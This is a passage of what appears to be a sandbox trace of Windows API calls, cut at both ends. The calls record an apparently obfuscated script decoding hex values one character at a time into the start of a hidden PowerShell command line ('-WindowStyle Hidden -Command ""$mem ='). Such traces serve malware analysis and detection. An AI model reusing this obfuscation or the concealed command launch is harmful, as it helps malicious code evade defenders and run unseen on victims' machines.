lpWideCharStr="Ü") returned 1 [0071.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.902] VarBstrCat (in: bstrLeft="-WindowStyle Hidde", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.903] VarBstrCat (in: bstrLeft="&H", bstrRight="40", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.903] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.903] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0071.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.903] VarBstrCat (in: bstrLeft="-WindowStyle Hidden", bstrRight=" ", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.904] VarBstrCat (in: bstrLeft="&H", bstrRight="5A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.904] VarParseNumFromStr (in: strIn="&H5A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.904] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Z") returned 1 [0071.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Z", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Z£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0071.904] VarBstrCat (in: bstrLeft="-WindowStyle Hidden ", bstrRight="-", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.904] VarBstrCat (in: bstrLeft="&H", bstrRight="86", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.904] VarParseNumFromStr (in: strIn="&H86", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.904] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="†") returned 1 [0071.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="†", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x86£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0071.905] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -", bstrRight="C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.905] VarBstrCat (in: bstrLeft="&H", bstrRight="DE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.905] VarParseNumFromStr (in: strIn="&HDE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.905] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Þ") returned 1 [0071.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0071.905] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -C", bstrRight="o", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.905] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.905] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.905] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.906] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Co", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.906] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.906] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.906] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.906] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Com", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.906] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.906] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.906] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0071.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.907] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Comm", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.907] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.907] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.907] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0071.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.907] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Comma", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.907] VarBstrCat (in: bstrLeft="&H", bstrRight="C8", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.907] VarParseNumFromStr (in: strIn="&HC8", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.907] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.907] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="È") returned 1 [0071.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="È", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="È£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0071.908] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Comman", bstrRight="d", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.908] VarBstrCat (in: bstrLeft="&H", bstrRight="40", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.908] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.908] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0071.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.908] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command", bstrRight=" ", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.908] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.908] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.908] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.909] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command ", bstrRight="\"", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.909] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.909] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.909] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0071.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.909] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"", bstrRight="\"", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.909] VarBstrCat (in: bstrLeft="&H", bstrRight="48", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.909] VarParseNumFromStr (in: strIn="&H48", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.909] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0071.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0071.910] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"", bstrRight="$", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.910] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.910] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.910] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.910] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.910] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.910] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.910] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0071.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.911] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$m", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.911] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.911] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.911] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0071.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.911] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$me", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.911] VarBstrCat (in: bstrLeft="&H", bstrRight="40", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.911] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.911] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0071.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.912] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem", bstrRight=" ", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.912] VarBstrCat (in: bstrLeft="&H", bstrRight="7A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.912] VarParseNumFromStr (in: strIn="&H7A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.912] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="z") returned 1 [0071.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="z£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0071.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0071.912] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem ", bstrRight="=", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.912] VarBstrCat (in: bstrLeft="&H", bstrRight="40", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0071.912] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0071.912] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0071.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 